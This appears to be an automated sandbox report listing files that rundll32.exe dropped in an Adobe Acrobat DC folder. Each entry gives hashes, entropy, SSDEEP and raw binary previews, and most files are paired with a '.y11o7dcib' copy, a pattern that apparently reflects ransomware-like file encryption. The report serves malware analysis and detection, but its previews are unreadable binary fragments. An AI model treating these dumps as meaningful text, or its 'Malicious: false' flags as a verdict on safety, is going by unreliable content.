Category:	dropped
Size (bytes):	545818
Entropy (8bit):	6.778436572592867
Encrypted:	false
SSDEEP:	6144:zDmJR18B2wrJVB8TOkchznmsPAogYd5B5eQNqHIuY7IQQMW4I9ZnU:uJf8BWnchjmiHjd5BhE9YF0nU
MD5:	C06EC0883B9D50E84B7A987333394053
SHA1:	5E568D9EE31AAC57AD5F6C9F4CEB2A8A9C56F1EB
SHA-256:	FF5F8F4CF1492025B71DAFC85FAD66277958D0BFE60A3007E5B66F55CBFF2FFE
SHA-512:	D541D5328DEF39FED7E7422C1233E61F78B93B14A7C481953F986E97DF23090A89D8738167911A4A7070AB1AA786A71E2C9337664619623FCACE6C9F99988A13
Malicious:	false
Preview:	".^'C.`.Bs......=..d......xf...%..Y_..;...R.....m..................!..L.!This program cannot be run in DOS mode....$..........!.hgr.hgr.hgr...r.hgr$.r.hgro.cs.hgro.ds.hgro.fs.hgro.bs.hgr...T.y...s\|..'o.U.[i]...Q........G.J.>-'..HJ\|. .....k.9..^...&.es.hgrRich.hgr........................PE..d....&a.........." .........z.......................................................D.'B...Fs..(O..u.=..d....xf...%..Y_..;...R....\|Q..3.).....@...A......`B...6..........d...@U..T....................U..(....T.......................6..`....................text...........o..'@.`.Fs..(O..u.=..d......f..'..J]_.S.;...R.....m..........data...p1.......$...~..............@....pdata..`B.......D..................@..@.didat..0....0......................@....rsrc......'@Qh.F1..(...u.=..d...xf.a@..Y_e.;..R.....G..............@..B........................................................................................................................o..'@.`.Fs..(O..u.=..d....xf...%..Y_

C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeLinguistic.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	545818
Entropy (8bit):	6.778436572592867
Encrypted:	false
SSDEEP:	6144:zDmJR18B2wrJVB8TOkchznmsPAogYd5B5eQNqHIuY7IQQMW4I9ZnU:uJf8BWnchjmiHjd5BhE9YF0nU
MD5:	C06EC0883B9D50E84B7A987333394053
SHA1:	5E568D9EE31AAC57AD5F6C9F4CEB2A8A9C56F1EB
SHA-256:	FF5F8F4CF1492025B71DAFC85FAD66277958D0BFE60A3007E5B66F55CBFF2FFE
SHA-512:	D541D5328DEF39FED7E7422C1233E61F78B93B14A7C481953F986E97DF23090A89D8738167911A4A7070AB1AA786A71E2C9337664619623FCACE6C9F99988A13
Malicious:	false
Preview:	".^'C.`.Bs......=..d......xf...%..Y_..;...R.....m..................!..L.!This program cannot be run in DOS mode....$..........!.hgr.hgr.hgr...r.hgr$.r.hgro.cs.hgro.ds.hgro.fs.hgro.bs.hgr...T.y...s\|..'o.U.[i]...Q........G.J.>-'..HJ\|. .....k.9..^...&.es.hgrRich.hgr........................PE..d....&a.........." .........z.......................................................D.'B...Fs..(O..u.=..d....xf...%..Y_..;...R....\|Q..3.).....@...A......`B...6..........d...@U..T....................U..(....T.......................6..`....................text...........o..'@.`.Fs..(O..u.=..d......f..'..J]_.S.;...R.....m..........data...p1.......$...~..............@....pdata..`B.......D..................@..@.didat..0....0......................@....rsrc......'@Qh.F1..(...u.=..d...xf.a@..Y_e.;..R.....G..............@..B........................................................................................................................o..'@.`.Fs..(O..u.=..d....xf...%..Y_

C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeXMP.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1261834
Entropy (8bit):	7.121876749528401
Encrypted:	false
SSDEEP:	24576:gRc0hoSgoXDK1uw8/ECV/kG+uWcpR1eXfK79Qc:D0hdNXW1u1/Ec/UbcD1oG9Qc
MD5:	25C8DEBF88EE6E04093184D209E24B43
SHA1:	F1E2D2F67E2E2EDAC748D0C58E85B19B52284466
SHA-256:	5B65FD8DE4534401C0D6875EF0E38EAFE106B52EA906A4A1624D7546F77E292E
SHA-512:	58335E23A972C9C3CACC79F2FC38A63D5212702E883CDF3B3AAF83656C7ED33D05435E3D9B91AFDADD74EBA8A356AEB64E5A2FBFE9A9A384487A70C2ABAFEB9F
Malicious:	false
Preview:	Q.Q}.6(..5.b...P. ..U>.....q^..."(.Z.L.]....S...H2$..@...p...........!..L.!This program cannot be run in DOS mode....$........................t.....................................'....R.....$...~Q....$......X#..3..oQ."....+Z..o....p...PE..d....a.d.........." .........n...... ........................................P.......w....`A...................................}.6(....b6..P....y?......X....:..1.L.K..B.S...[2.=.@..p........................(...0...@............................................text.............................. ..`.rdata..........?.}..&..5.b...P. ...>...f.^...f(...L.c....A...H2$..@...p...).pdata...k.......l...z..............@..@.rsrc...............................@..@.reloc..<&... ...(..................@..B...........}.6(..5.b...P. ..U>....q^..."(.Z.L.]....S...H2$..@...p......................................................................................................................................}.6(..5.b...P. ..U>....q^..."(.Z.L

C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeXMP.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1261834
Entropy (8bit):	7.121876749528401
Encrypted:	false
SSDEEP:	24576:gRc0hoSgoXDK1uw8/ECV/kG+uWcpR1eXfK79Qc:D0hdNXW1u1/Ec/UbcD1oG9Qc
MD5:	25C8DEBF88EE6E04093184D209E24B43
SHA1:	F1E2D2F67E2E2EDAC748D0C58E85B19B52284466
SHA-256:	5B65FD8DE4534401C0D6875EF0E38EAFE106B52EA906A4A1624D7546F77E292E
SHA-512:	58335E23A972C9C3CACC79F2FC38A63D5212702E883CDF3B3AAF83656C7ED33D05435E3D9B91AFDADD74EBA8A356AEB64E5A2FBFE9A9A384487A70C2ABAFEB9F
Malicious:	false
Preview:	Q.Q}.6(..5.b...P. ..U>.....q^..."(.Z.L.]....S...H2$..@...p...........!..L.!This program cannot be run in DOS mode....$........................t.....................................'....R.....$...~Q....$......X#..3..oQ."....+Z..o....p...PE..d....a.d.........." .........n...... ........................................P.......w....`A...................................}.6(....b6..P....y?......X....:..1.L.K..B.S...[2.=.@..p........................(...0...@............................................text.............................. ..`.rdata..........?.}..&..5.b...P. ...>...f.^...f(...L.c....A...H2$..@...p...).pdata...k.......l...z..............@..@.rsrc...............................@..@.reloc..<&... ...(..................@..B...........}.6(..5.b...P. ..U>....q^..."(.Z.L.]....S...H2$..@...p......................................................................................................................................}.6(..5.b...P. ..U>....q^..."(.Z.L

C:\Program Files\Adobe\Acrobat DC\Acrobat\BIB.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	139026
Entropy (8bit):	7.019585157145585
Encrypted:	false
SSDEEP:	3072:x25b+3fdjKIkgqsjF1HY3ZyVyyBDCxsZBiG5nSAYfCR4RbT+DpbZeFcX8XFC:x2b+3fdjKfgqu638Vyy/reiX8A
MD5:	B21828236C2A9E63B9C400DCEE312C66
SHA1:	B9BB52FA209C35A6F0D3953C5029347977042EF4
SHA-256:	0A51123D143E6E43CB609535C91CA6FF5104A7F843EF263963DE09F3DD0E73E9
SHA-512:	467CE5B89B6FA0A8322E2430A252BD34587C3ED9EA14097647B68082C64302B331EBCBBE2C4980D07DB564940330EB49B9D3D4E8F81FB56D57756AD44A26F08D
Malicious:	false
Preview:	[...C...D.......\|.f..=l...g....'.QB?....~Ni..o.~..--..,9.=6t........!..L.!This program cannot be run in DOS mode....$............e...e...e.......e..9....e..9....e..9....e..9....e.......e..........{.....1.m\|..`....w...}f..%..'.l..6...].=....x....,9.<6tPE..d...{..d.........." .....2...........#.........P.............................@.......T....`A..................................'.P.... ......f..=l.0.gJ...%.Z?..X.~.@..o.~*.--Ia-9.<6t.........................\|..8............P...............................text....0.......2.................. ..`.rdata......P...w'.@...@...j../\|.f?.=,.t\|.k...'.Q.>....~N...o.~..--..,9.<6..pdata..............................@..@.rsrc...@.... ......................@..@.reloc..0....0......................@..B..........'.@...@...j../\|.f..=l...g....'.QB?....~Ni..o.~..--..,9.<6t..................................................................................................................................'.@...@...j../\|.f..=l...g....'.QB?.

C:\Program Files\Adobe\Acrobat DC\Acrobat\BIB.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	139026
Entropy (8bit):	7.019585157145585
Encrypted:	false
SSDEEP:	3072:x25b+3fdjKIkgqsjF1HY3ZyVyyBDCxsZBiG5nSAYfCR4RbT+DpbZeFcX8XFC:x2b+3fdjKfgqu638Vyy/reiX8A
MD5:	B21828236C2A9E63B9C400DCEE312C66
SHA1:	B9BB52FA209C35A6F0D3953C5029347977042EF4
SHA-256:	0A51123D143E6E43CB609535C91CA6FF5104A7F843EF263963DE09F3DD0E73E9
SHA-512:	467CE5B89B6FA0A8322E2430A252BD34587C3ED9EA14097647B68082C64302B331EBCBBE2C4980D07DB564940330EB49B9D3D4E8F81FB56D57756AD44A26F08D
Malicious:	false
Preview:	[...C...D.......\|.f..=l...g....'.QB?....~Ni..o.~..--..,9.=6t........!..L.!This program cannot be run in DOS mode....$............e...e...e.......e..9....e..9....e..9....e..9....e.......e..........{.....1.m\|..`....w...}f..%..'.l..6...].=....x....,9.<6tPE..d...{..d.........." .....2...........#.........P.............................@.......T....`A..................................'.P.... ......f..=l.0.gJ...%.Z?..X.~.@..o.~*.--Ia-9.<6t.........................\|..8............P...............................text....0.......2.................. ..`.rdata......P...w'.@...@...j../\|.f?.=,.t\|.k...'.Q.>....~N...o.~..--..,9.<6..pdata..............................@..@.rsrc...@.... ......................@..@.reloc..0....0......................@..B..........'.@...@...j../\|.f..=l...g....'.QB?....~Ni..o.~..--..,9.<6t..................................................................................................................................'.@...@...j../\|.f..=l...g....'.QB?.

C:\Program Files\Adobe\Acrobat DC\Acrobat\BIBUtils.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	170258
Entropy (8bit):	7.076203999294277
Encrypted:	false
SSDEEP:	3072:O0inImUmJjzsG976ckCoakjJXl7BM6lQUdlJor1CXDgrLj7TMnZsAqBf/4Hx/mSA:e7U5ak9l7S6lQUwIeHbMyFBz
MD5:	3CC8641085AB046C7B3BFBB9AC52E996
SHA1:	E5DDF92609B044B5974B2DBC4E27DCA2D65A0EE7
SHA-256:	952ABE99FDC8B18E592FB714AFA99F854A326ECB635263D97D4C34E978D9A4E6
SHA-512:	D98BEFECD3137D2BB28422E20FF7687FF3FB3942A5951624EEB02FA7F83349B99C59350AFCA0DA5D15D74879B0000D8C23DAB8584713A71652897E179EE7D589
Malicious:	false
Preview:	!.b.F..#w..#..4.n...v85Y.K.=...0J..p.~.7..,.$."...n.8..Sl..C..........!..L.!This program cannot be run in DOS mode....$.........`R........................................................6."...#..:......;X..!.........Kp.;...K*.pr.h.$6..Sl..B..PE..d......d.........." .................v....................................................`A................................l..U..#.W.#~.4..S...85Y...E...0:..`.~.7f...$.".....8.{.m..B..........................P...8...............@............................text...n........................... ..`.rdata.........l!.E9.#s..#..4.....685../..\...xV..p.\|.7..,.&."...n.8..Sl..B...pdata.......p.......J..............@..@.rsrc...x............b..............@..@.reloc..p............j..............@..B........l..E..#s..#..4.....v85Y.K.=...0J..p.~.7..,.$."...n.8..Sl..B..................................................................................................................................l..E..#s..#..4.....v85Y.K.=...0J..p.~.

C:\Program Files\Adobe\Acrobat DC\Acrobat\BIBUtils.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	170258
Entropy (8bit):	7.076203999294277
Encrypted:	false
SSDEEP:	3072:O0inImUmJjzsG976ckCoakjJXl7BM6lQUdlJor1CXDgrLj7TMnZsAqBf/4Hx/mSA:e7U5ak9l7S6lQUwIeHbMyFBz
MD5:	3CC8641085AB046C7B3BFBB9AC52E996
SHA1:	E5DDF92609B044B5974B2DBC4E27DCA2D65A0EE7
SHA-256:	952ABE99FDC8B18E592FB714AFA99F854A326ECB635263D97D4C34E978D9A4E6
SHA-512:	D98BEFECD3137D2BB28422E20FF7687FF3FB3942A5951624EEB02FA7F83349B99C59350AFCA0DA5D15D74879B0000D8C23DAB8584713A71652897E179EE7D589
Malicious:	false
Preview:	!.b.F..#w..#..4.n...v85Y.K.=...0J..p.~.7..,.$."...n.8..Sl..C..........!..L.!This program cannot be run in DOS mode....$.........`R........................................................6."...#..:......;X..!.........Kp.;...K*.pr.h.$6..Sl..B..PE..d......d.........." .................v....................................................`A................................l..U..#.W.#~.4..S...85Y...E...0:..`.~.7f...$.".....8.{.m..B..........................P...8...............@............................text...n........................... ..`.rdata.........l!.E9.#s..#..4.....685../..\...xV..p.\|.7..,.&."...n.8..Sl..B...pdata.......p.......J..............@..@.rsrc...x............b..............@..@.reloc..p............j..............@..B........l..E..#s..#..4.....v85Y.K.=...0J..p.~.7..,.$."...n.8..Sl..B..................................................................................................................................l..E..#s..#..4.....v85Y.K.=...0J..p.~.

C:\Program Files\Adobe\Acrobat DC\Acrobat\CRClient.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	492810
Entropy (8bit):	7.059976296989194
Encrypted:	false
SSDEEP:	12288:us6X7g0BGm5VgDkh43PWKhiu5RNqiTMs+wsYPS2B:us6X7gpmkYvRu5zqiTMs+w1K2B
MD5:	CC2BFE5982A8E815222854AE48EA8AEA
SHA1:	ABE7390820265F4B332C78DF0873E63E5B040A27
SHA-256:	72C3C2CF8D8F2F63AB4265044DC400546E278D892CA59E7E17EBA270143DBC6B
SHA-512:	AFFF23930668928E92FCCC7D149E08F47BBE26AE4FC7A590D3A361193811C0CB7A47236B4CB21F5390CC8E353FF7A4922F9988D610E680584B02C8DC6C2E1D45
Malicious:	false
Preview:	.8.x'.......2..9..#B~D....01.D..3.....,V.,...o.~...I?/..............!..L.!This program cannot be run in DOS mode....$.......d.H. O&D O&D O&D)7.D.O&Dr''E$O&Dr'#E8O&Dr'"E(O&Dr'%E#O&DE) E!O&D.Kz.Hh.U"."P....;fw1bTg.......qw;Q..+c.....]4I.;...mF.e............................PE..d......c.........." ................ g....................................................`A.........r].{'...........#B~D....01...3....W%P.P.....~o..I?........Z...)..........p;..p....................<..(....;...............................................text............................b].['.q,.aua....m.#B.@.....5.D..3.....,V.l.Y.......I.............:..............@....pdata...-...........P..............@..@.rsrc................~..............@..@.reloc...............V...b].{'......U.....#B~D....01.D..3.....,V.,...o.~...I?/.......................................................................................................................................b].{'...........#B~D....01.D..3....

C:\Program Files\Adobe\Acrobat DC\Acrobat\CRClient.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	492810
Entropy (8bit):	7.059976296989194
Encrypted:	false
SSDEEP:	12288:us6X7g0BGm5VgDkh43PWKhiu5RNqiTMs+wsYPS2B:us6X7gpmkYvRu5zqiTMs+w1K2B
MD5:	CC2BFE5982A8E815222854AE48EA8AEA
SHA1:	ABE7390820265F4B332C78DF0873E63E5B040A27
SHA-256:	72C3C2CF8D8F2F63AB4265044DC400546E278D892CA59E7E17EBA270143DBC6B
SHA-512:	AFFF23930668928E92FCCC7D149E08F47BBE26AE4FC7A590D3A361193811C0CB7A47236B4CB21F5390CC8E353FF7A4922F9988D610E680584B02C8DC6C2E1D45
Malicious:	false
Preview:	.8.x'.......2..9..#B~D....01.D..3.....,V.,...o.~...I?/..............!..L.!This program cannot be run in DOS mode....$.......d.H. O&D O&D O&D)7.D.O&Dr''E$O&Dr'#E8O&Dr'"E(O&Dr'%E#O&DE) E!O&D.Kz.Hh.U"."P....;fw1bTg.......qw;Q..+c.....]4I.;...mF.e............................PE..d......c.........." ................ g....................................................`A.........r].{'...........#B~D....01...3....W%P.P.....~o..I?........Z...)..........p;..p....................<..(....;...............................................text............................b].['.q,.aua....m.#B.@.....5.D..3.....,V.l.Y.......I.............:..............@....pdata...-...........P..............@..@.rsrc................~..............@..@.reloc...............V...b].{'......U.....#B~D....01.D..3.....,V.,...o.~...I?/.......................................................................................................................................b].{'...........#B~D....01.D..3....

C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	770314
Entropy (8bit):	7.044242761278547
Encrypted:	false
SSDEEP:	12288:S3JRdQ7agpCR6xnvoI44rfjrcWQA/M3N178hudbNbpOtZW5/H/T6eppLKwGqFVc:S3JRdQWgpbvoj4rfj4FA/M3N1QhUbNb8
MD5:	AF30E238D8B8F7D7B059B3E78ADE3DFD
SHA1:	C677D93A6549A24194A217A76568F65FB6FE697A
SHA-256:	2254D66D3EAA2C5AC1497AD95EE102DBC2CF7FAE170B7E32345ADE4C9337B014
SHA-512:	2439D8B40BD159AE963034C678798B36EE6C2412E149259231ABB37E56087E85F6FFE4A857066A59F8506E864EFCC33FFE9CA9299BD2599F2249986B336418DF
Malicious:	false
Preview:	.o.U.....8..0.......K#..".1....\.DS..w..t.'....awz.r.CD...........!..L.!This program cannot be run in DOS mode....$......................................s...X...................<....\..Bc.w.RUm_..<..."..p.,.....#..wC....K\|B....o-...o.a..1....n......Rich...........PE..d......c..........".................0i.........@.........................................`..5-U.....(..i.......K#.[2.1....\.DS..w..t.'..Z_kw..r.C.......@..Tx.......)..............p...................`...(...`................................................text....................5=U.....8..I..$...#....1....\.FS.X.w..t.'....aw:.r.m ......>......."..................@....pdata..Tx...@...z..................@..@.rsrc................z..............@..@.reloc...........!=U.C...8..i........K#.[".1....\.DS..w..t*.'....awz.r.CD....................................................................................................................................5=U.....8..i........K#.[".1....\.DS..w

C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	770314
Entropy (8bit):	7.044242761278547
Encrypted:	false
SSDEEP:	12288:S3JRdQ7agpCR6xnvoI44rfjrcWQA/M3N178hudbNbpOtZW5/H/T6eppLKwGqFVc:S3JRdQWgpbvoj4rfj4FA/M3N1QhUbNb8
MD5:	AF30E238D8B8F7D7B059B3E78ADE3DFD
SHA1:	C677D93A6549A24194A217A76568F65FB6FE697A
SHA-256:	2254D66D3EAA2C5AC1497AD95EE102DBC2CF7FAE170B7E32345ADE4C9337B014
SHA-512:	2439D8B40BD159AE963034C678798B36EE6C2412E149259231ABB37E56087E85F6FFE4A857066A59F8506E864EFCC33FFE9CA9299BD2599F2249986B336418DF
Malicious:	false
Preview:	.o.U.....8..0.......K#..".1....\.DS..w..t.'....awz.r.CD...........!..L.!This program cannot be run in DOS mode....$......................................s...X...................<....\..Bc.w.RUm_..<..."..p.,.....#..wC....K\|B....o-...o.a..1....n......Rich...........PE..d......c..........".................0i.........@.........................................`..5-U.....(..i.......K#.[2.1....\.DS..w..t.'..Z_kw..r.C.......@..Tx.......)..............p...................`...(...`................................................text....................5=U.....8..I..$...#....1....\.FS.X.w..t.'....aw:.r.m ......>......."..................@....pdata..Tx...@...z..................@..@.rsrc................z..............@..@.reloc...........!=U.C...8..i........K#.[".1....\.DS..w..t*.'....awz.r.CD....................................................................................................................................5=U.....8..i........K#.[".1....\.DS..w

C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	396554
Entropy (8bit):	6.883334352860692
Encrypted:	false
SSDEEP:	6144:ql719IzUt8ikOAGMZvzZ2QiA1TBhgyKQnR7vl0RLlkmXcx4mOdkU:q734UjZMZvV1gyKQnRTILHcuV+U
MD5:	48BB93A8771B7B59F4D9346CC0C4E98B
SHA1:	BC4899AEA3194561CD3D3D171E49BB4B0DE80696
SHA-256:	1B6C9DCE091A025146D87E31CE27771ACA538A3BC95264B3B1CFE34726CCC41B
SHA-512:	CC0AEBD3F0F4E65714D97A67010D67A7362E31A42BF4198259AAC30791CCC08214D08C308C9D26B8C510CCEC4938AEFB18B5F6F6722133CDB237206F372CD5AF
Malicious:	false
Preview:	N.eH~............z-.D.........l...5.....:N...8fB....l...7........!..L.!This program cannot be run in DOS mode....$.....................v..............................2..s#sMQ..v..XSX[...P.4..9......K.y...cdkg.....i...q...l...7PE..d......c.........."............................@.............................@......0.....`....................................Hm.............z..D....f...h...5.....B.:N....gB....lm..7....................(....................0...............................text............................... ..`.rdata..Z$...0.....H}.............zm.D........;l...1......>N...8fB....l]....pdata...............L..............@..@.rsrc....v.......v...j..............@..@.reloc.......0......................@..B...........H}.............z-.D.........l...5.....:N...8fB....l...7...................................................................................................................................H}.............z-.D.........l...5.

C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	396554
Entropy (8bit):	6.883334352860692
Encrypted:	false
SSDEEP:	6144:ql719IzUt8ikOAGMZvzZ2QiA1TBhgyKQnR7vl0RLlkmXcx4mOdkU:q734UjZMZvV1gyKQnRTILHcuV+U
MD5:	48BB93A8771B7B59F4D9346CC0C4E98B
SHA1:	BC4899AEA3194561CD3D3D171E49BB4B0DE80696
SHA-256:	1B6C9DCE091A025146D87E31CE27771ACA538A3BC95264B3B1CFE34726CCC41B
SHA-512:	CC0AEBD3F0F4E65714D97A67010D67A7362E31A42BF4198259AAC30791CCC08214D08C308C9D26B8C510CCEC4938AEFB18B5F6F6722133CDB237206F372CD5AF
Malicious:	false
Preview:	N.eH~............z-.D.........l...5.....:N...8fB....l...7........!..L.!This program cannot be run in DOS mode....$.....................v..............................2..s#sMQ..v..XSX[...P.4..9......K.y...cdkg.....i...q...l...7PE..d......c.........."............................@.............................@......0.....`....................................Hm.............z..D....f...h...5.....B.:N....gB....lm..7....................(....................0...............................text............................... ..`.rdata..Z$...0.....H}.............zm.D........;l...1......>N...8fB....l]....pdata...............L..............@..@.rsrc....v.......v...j..............@..@.reloc.......0......................@..B...........H}.............z-.D.........l...5.....:N...8fB....l...7...................................................................................................................................H}.............z-.D.........l...5.

C:\Program Files\Adobe\Acrobat DC\Acrobat\Click on 'Change' to select default PDF handler.pdf

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	187151
Entropy (8bit):	7.985149554896217
Encrypted:	false
SSDEEP:	3072:+A5vrPGAF/BMxSdmABqHR14Qw+7vNVKVFaUIUB231KzY3dZDq/V54MK0R4j31FC0:VJeAF/Cc+R1j/7vNcVFaEZ83dZq/V54N
MD5:	2519EE165900667AEF49D7E0746D37B0
SHA1:	55D82D11289C2A30146BDB5BDCC027E4B1789EDF
SHA-256:	D9B69A0FB96A7316F71A0D1989AD49B847644393DD69EC5A7B8B0E0629E2F1EA
SHA-512:	ED654401DD7C1480F7AEC42CCC7DDF6F73CC1819C57D6CC870014EADE6A19A6893EBB8A4620AD10D3D9A14ACAB38C23F4F2F03D511A9D2CF804ACAC03012CAEF
Malicious:	false
Preview:	......5.6v_R..%.0.<....qsJ.q.E.r4..%...J....6\_.z\|....8n'..>...N 1/T 186532/H [ 482 168]>>.endobj. ..22 0 obj.<</DecodeParms<</Columns 5/Predictor 12>>/Filter/FlateDecode/ID[<BA.....3.W..B..b5.5...X?.D.~...UsB..D..]....5P).av...l9./.aO...>]/Index[10 26]/Info 9 0 R/Length 79/Prev 186533/Root 11 0 R/Size 36/Type/XRef/W[1 3 1]>>stream..h.bbd`.``b``....~ ...D....l. ...}....q...u5.M=...$bp...Q9J.;[W.G.....4.7nu._V...Z.+w.oXS.bj.startxref..0..%%EOF.. ..35 0 obj.<</Filter/FlateDecode/I 102/L 86/Length 83/S 38>>stream..h.b``.b``2`...8.P.#..0p4 .qA.R.t.P.d....`.OF.....F..e[2...>z...K.-.$.#k,0T3,..fpDs.CyBE.am.endobj.11 0 obj.<</Metadata 2 0 R/PageLabels 6 0 R/Pages 8 0 R/Type/Catalog>>.endobj.12 0 obj.<</Contents 14 0 R/CropBox[0 0 .`.....].^.....@^[.,...XNoA.....r4..4R..U....e...'P...Nn&.u%dX.ate 0/Type/Page>>.endobj.13 0 obj.<</Filter/FlateDecode/First 88/Length 868/N 12/Type/ObjStm>>stream..h..mo.0..._nB.Oy..*u).........N.f.0..;.e.6.AT%..Z..$..oJpP..

C:\Program Files\Adobe\Acrobat DC\Acrobat\Click on 'Change' to select default PDF handler.pdf.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	187151
Entropy (8bit):	7.985149554896217
Encrypted:	false
SSDEEP:	3072:+A5vrPGAF/BMxSdmABqHR14Qw+7vNVKVFaUIUB231KzY3dZDq/V54MK0R4j31FC0:VJeAF/Cc+R1j/7vNcVFaEZ83dZq/V54N
MD5:	2519EE165900667AEF49D7E0746D37B0
SHA1:	55D82D11289C2A30146BDB5BDCC027E4B1789EDF
SHA-256:	D9B69A0FB96A7316F71A0D1989AD49B847644393DD69EC5A7B8B0E0629E2F1EA
SHA-512:	ED654401DD7C1480F7AEC42CCC7DDF6F73CC1819C57D6CC870014EADE6A19A6893EBB8A4620AD10D3D9A14ACAB38C23F4F2F03D511A9D2CF804ACAC03012CAEF
Malicious:	false
Preview:	......5.6v_R..%.0.<....qsJ.q.E.r4..%...J....6\_.z\|....8n'..>...N 1/T 186532/H [ 482 168]>>.endobj. ..22 0 obj.<</DecodeParms<</Columns 5/Predictor 12>>/Filter/FlateDecode/ID[<BA.....3.W..B..b5.5...X?.D.~...UsB..D..]....5P).av...l9./.aO...>]/Index[10 26]/Info 9 0 R/Length 79/Prev 186533/Root 11 0 R/Size 36/Type/XRef/W[1 3 1]>>stream..h.bbd`.``b``....~ ...D....l. ...}....q...u5.M=...$bp...Q9J.;[W.G.....4.7nu._V...Z.+w.oXS.bj.startxref..0..%%EOF.. ..35 0 obj.<</Filter/FlateDecode/I 102/L 86/Length 83/S 38>>stream..h.b``.b``2`...8.P.#..0p4 .qA.R.t.P.d....`.OF.....F..e[2...>z...K.-.$.#k,0T3,..fpDs.CyBE.am.endobj.11 0 obj.<</Metadata 2 0 R/PageLabels 6 0 R/Pages 8 0 R/Type/Catalog>>.endobj.12 0 obj.<</Contents 14 0 R/CropBox[0 0 .`.....].^.....@^[.,...XNoA.....r4..4R..U....e...'P...Nn&.u%dX.ate 0/Type/Page>>.endobj.13 0 obj.<</Filter/FlateDecode/First 88/Length 868/N 12/Type/ObjStm>>stream..h..mo.0..._nB.Oy..*u).........N.f.0..;.e.6.AT%..Z..$..oJpP..

C:\Program Files\Adobe\Acrobat DC\Acrobat\CoolType.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4294418
Entropy (8bit):	7.244405631855462
Encrypted:	false
SSDEEP:	49152:6GiU1FmPF/92fH1PuUyjBbqTrbpKluc/QGtm8KWWqChiew7WnEEA+DUzaienmW4n:6t9/92v12gTs/7m7W3CgBW0faeBBARi9
MD5:	9A83260B54D2DC1CC10AE5CFAA474E35
SHA1:	1996A89F810076146DA2B7660EFA372F37005908
SHA-256:	29BABBB001A8A0A714970BAA3CBDB5DDC6CEE31AFE06FA61EF85DCB44C8B381B
SHA-512:	246C492D0116A737D2DD4D55FE3EB463F80D04E4B51A5BB2C99B7B3099F74092F688EAC56B51B0048573C7C286937BE98AD25624F85AD828E86572023BEE5D64
Malicious:	false
Preview:	..6sI.a............agY6P..g...k/.%..L...[4..>..b....d.....H...........!..L.!This program cannot be run in DOS mode....$.......G.,...B...B...B......B...F...B...A...B...C...B.e...B...G...B.^e..JM#w.n.....)a..i.t.C.$.-8).c.H.-.9..@.f)..5>.....L.CEdjZSQ.....B...@...B.Rich..B.........PE..d...{..d.........." .....J-.......... *........`..............................B.....(qB...`AI..sJ.a......W..>..agY6P@.g...k/.%..\...k.:.J..bI..{e...........?......\A..)... B.Dr...Q5.T....................R5.(....P5.8............`-.p....2<.@....................text....I-......J-.....I..sJ.a......W.}.....86P..h...F/.+..L.[4..>..b...Gd.........ha...p<..b...\<.............@....pdata........?.. ....>.............@..@.didat........B.......@.............@....rsrc...h.....B.I..sJ/!......W..>..a'Y6.n..f..k/.W..L..[@..>C.b....d.....(...................................................................................................................................I..sJ.a......W..>..agY6P@.g...k/.%..L...

C:\Program Files\Adobe\Acrobat DC\Acrobat\CoolType.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4294418
Entropy (8bit):	7.244405631855462
Encrypted:	false
SSDEEP:	49152:6GiU1FmPF/92fH1PuUyjBbqTrbpKluc/QGtm8KWWqChiew7WnEEA+DUzaienmW4n:6t9/92v12gTs/7m7W3CgBW0faeBBARi9
MD5:	9A83260B54D2DC1CC10AE5CFAA474E35
SHA1:	1996A89F810076146DA2B7660EFA372F37005908
SHA-256:	29BABBB001A8A0A714970BAA3CBDB5DDC6CEE31AFE06FA61EF85DCB44C8B381B
SHA-512:	246C492D0116A737D2DD4D55FE3EB463F80D04E4B51A5BB2C99B7B3099F74092F688EAC56B51B0048573C7C286937BE98AD25624F85AD828E86572023BEE5D64
Malicious:	false
